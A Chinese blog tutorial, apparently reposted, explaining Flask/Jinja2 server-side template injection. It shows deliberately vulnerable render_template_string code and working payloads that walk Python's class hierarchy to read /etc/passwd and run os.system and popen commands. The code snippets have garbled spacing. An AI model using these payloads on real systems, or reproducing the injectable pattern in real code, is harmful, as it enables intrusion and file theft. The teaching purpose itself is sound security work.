python利用什么写模板_模板注入 python_weixin_39789792的博客-程序员宅基地

技术标签: python利用什么写模板  

flask基础

在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。

路由

先看一段代码

from flask importflask

@app.route('/index/')

defhello_word():

return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问

渲染方法

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '

This is index page

'

return render_template_string(html)

模板

flask是使用Jinja2来作为渲染引擎的。看例子

在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

test.py

from flask importFlask,url_for,redirect,render_template,render_template_string

@app.route('/index/')

defuser_login():

return render_template('index.html')

/templates/index.html

This is index page

访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

例子

test.py

from flask importFlask,url_for,redirect,render_template,render_template_string

@app.route('/index/')

defuser_login():

return render_template('index.html',content='This is index page.')

/templates/index.html

{ {content}}

这个时候页面仍然输出This is index page。

{ {}}在Jinja2中作为变量包裹标识符。

模板注入

什么是模板注入呢?

为了在写HTML代码方便时,很多网站都会使用模板,先写好一个html模板文件。

不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

xss利用

存在漏洞的代码

@app.route('/test/')

deftest():

code = request.args.get('id')

html = '''

%s

'''%(code)

return render_template_string(html)

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。

尝试构造code为一串js代码。

1540787703_5bd68df77bdf5.png!small

将代码改为如下

@app.route('/test/')

deftest():

code = request.args.get('id')

return render_template_string('

{ { code }}

',code=code)

继续尝试

1540787852_5bd68e8c570a5.png!small

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

模板注入并不局限于xss,它还可以进行其他攻击。

SSTI文件读取/命令执行

基础知识

在Jinja2模板引擎中,{ {}}是变量包裹标识符。{ {}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

这里还是用上文中存在漏洞的代码

@app.route('/test/')

deftest():

code = request.args.get('id')

html = '''

%s

'''%(code)

return render_template_string(html)

构造参数{ {2*4}},结果如下

1540787878_5bd68ea683cce.png!small可以看到表达式被执行了。

在flask中也有一些全局变量。

1540787904_5bd68ec05001a.png!small

文件包含

看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。

找到父类-->寻找子类-->找关于命令执行或者文件操作的模块。

几个魔术方法

__class__ 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

1 、获取字符串的类对象

>>> ''.__class__

2 、寻找基类

>>> ''.__class__.__mro__(, , )

3 、寻找可用引用

>>> ''.__class__.__mro__[2].__subclasses__()

[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]

可以看到有一个``

4 、利用之

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

放到模板里

1540787928_5bd68ed820299.png!small

可以看到读取到了文件。

命令执行

继续看命令执行payload的构造,思路和构造文件读取的一样。

寻找包含os模块的脚本

#!/usr/bin/env python

# encoding: utf-8

for item in ''.__class__.__mro__[2].__subclasses__():

try:

if 'os' in item.__init__.__globals__:

printnum,item

num+=1

except:

print '-'num+=1

输出

-

71

-

-

-

-

76

payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye)

类似的payload同样有:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

''.__class__.__mro__[2].__subclasses__()[40]('etc/passwd').read()

贴一个大佬写的python模板注入

本文部分摘抄自 https://www.freebuf.com/column/187845.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39789792/article/details/110049502

智能推荐

常用类————(3)Date、DateFormat、SimpleDateFormat、Calendar类_好吃的都给你呀的博客-程序员宅基地

Date类该类对象用于表示一个特定的瞬间,根据构造方法同,表示不同的瞬间。构造方法(在API中搜索时我们会发现有两个Date类,其中有一个是关于数据库sql的,这里学习的是util包里的。)代码实例:import java.util.Date;public class Demo1 { public static void main(String[] args...

关于raft共识算法_felix_yujing的博客-程序员宅基地

raft是一个确保分布式一致性的共识算法,使用这个算法的代表作有我们常用的etcd工具。发现一个介绍raft算法的动画,一般看算法会觉得很头疼,但是这个动画将raft算法介绍的简洁易懂: http://thesecretlivesofdata.com/raft/感兴趣的还可以查看raft的官网和论文。

VScode代码格式化后不符合ESLint风格问题处理_SilenceJude的博客-程序员宅基地_vscode 关闭eslint

问题描述vscode中默认代码格式化ctrl+shift+f后,代码无法通过eslint的代码风格检查。 解决方案首先安装eslint,prettier-Code formatter,vetur 这三个插件,大多数情况下vetur已经安装了。 然后文件——首选项——设置,来到用户设置。 用户设置这里配置如下代码, 具体代码:{ "workbench.ed...

Gavin老师Transformer直播课感悟 - Rasa对话机器人项目实战之银行金融Financial Bot架构视角下的Training及Reference全生命周期、功能实现解析(五十四)_m0_49380401的博客-程序员宅基地

本文继续围绕工业级业务对话平台和框架Rasa,对Rasa对话机器人项目实战之银行金融Financial Bot架构视角下的Training及Reference全生命周期、功能实现、及产品的二次开发进行分析。一、Rasa对话机器人项目实战之银行金融Financial Bot架构视角下的Training及Reference全生命周期、功能实现、及产品的二次开发Rasa 3.X中Graph Architecture解析及其在银行金融Financial Bot中的落地实现 上面的D...

SpringBoot整合Swagger_simle_*_*的博客-程序员宅基地

SpringBoot整合Swagger1.Swagger是什么?​ Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。​ 前后端分离后,维护接口文档基本上是必不可少的工作。一个理想的状态是设计好后,接口文档发给前端和后端,大伙按照既定的规则各自开发,开发好了对接上了就可以上线了。当然这是一种非常理想的状态,实际开发中却很少遇到这样的情况,接口总是在不断的变化之中,有变化就要去维护,做过的小伙伴都知道这件事有多么头大!还好,有一

yum安装Mysql5.7报错 warning: /var/cache/yum/x86_64/7/mysql57-community/packages/mysql-community-libs-_weixin_44178770的博客-程序员宅基地_yum安装mysql报错

今天安装Mysql5.7报错了,报错截图如下:warning: /var/cache/yum/x86_64/7/mysql57-community/packages/mysql-community-libs-compat-5.7.38-1.el7.x86_64.rpm: Header V4 RSA/SHA256 Signature, key ID 3a79bd29: NOKEYRetrieving key from file:///etc/pki/rpm-gpg/RPM-GPG-KEY-mysql

随便推点

error C2065: ‘__in’ : undeclared identifier_swanabin的博客-程序员宅基地

转自VC错误:http://www.vcerror.com/?p=1307问题描述:编译时出现:error C2065: ‘__in’ : undeclared identifiererror C2146: syntax error : missing ‘)’ before identifier ‘HRESULT’warning C4229: anachroni

【IT职场】《富爸爸穷爸爸》全书精华摘录_成鹏致远的博客-程序员宅基地

序言    富人之所以越来越富,穷人之所以越来越穷,中产阶级之所以总是在债务泥潭中挣扎, 其主要原因之一在于他们对金钱的观念不是来自学校,而是来自家庭。    税是惩勤奖懒   大多数人认为世界上除了自己外,其他人都应该改变。   改变自己比改变他人更容易   穷人和中产阶级为钱而工作,富人让钱为他们工作 真正的学习需要精力、激情和热切的愿望。愤怒是其中一个重要的成分,因为激情正是愤怒和热爱的结

Fedora 7 下日记本TreeLine的安装_sandynothing的博客-程序员宅基地

<!-- @page { size: 21cm 29.7cm; margin: 2cm } P { margin-bottom: 0.21cm } --> Tree Line的安装花蘑菇2007/7/29 一.下载http://bellz.org/treeline/download.html (

前端前端开发工程师_我们庞大的工程师团队会使用此前端开发指南_cumian9828的博客-程序员宅基地

前端前端开发工程师by Yangshun Tay 阳顺泰 我们庞大的工程师团队会使用此前端开发指南 (Our large team of engineers use this front end development guide)Front end development has never been so complex and exciting as it is today. New ...

服务器安装360文档卫士,360文档卫士的安装使用方法_寂寞的章鱼先生的博客-程序员宅基地

360文档卫士是奇虎360官方开发的一款专门保护文件的安全软件,这款软件号称“敲诈者病毒终结者”,这款软件拥有超强的预警机制,可有效预防文件被篡改,保护用户的文档安全。软件支持自动备份,能解决文档被恶意篡改和加密的问题,完全阻断文件被植入病毒!今天小编来为大家简单的介绍一下360文档卫士的安装使用方法,希望大家会喜欢。360文档卫士安装方法1、下载文件找到"360文档卫士_1.0.0.1001.e...

OkHttp源码分析(一)——主流程分析_ezview_uniview的博客-程序员宅基地

本文主要是为了学习OkHttp源码,先从整体流程入手,分析该开源框架的主要工作原理,后续会逐步分解,学习网络框架相关知识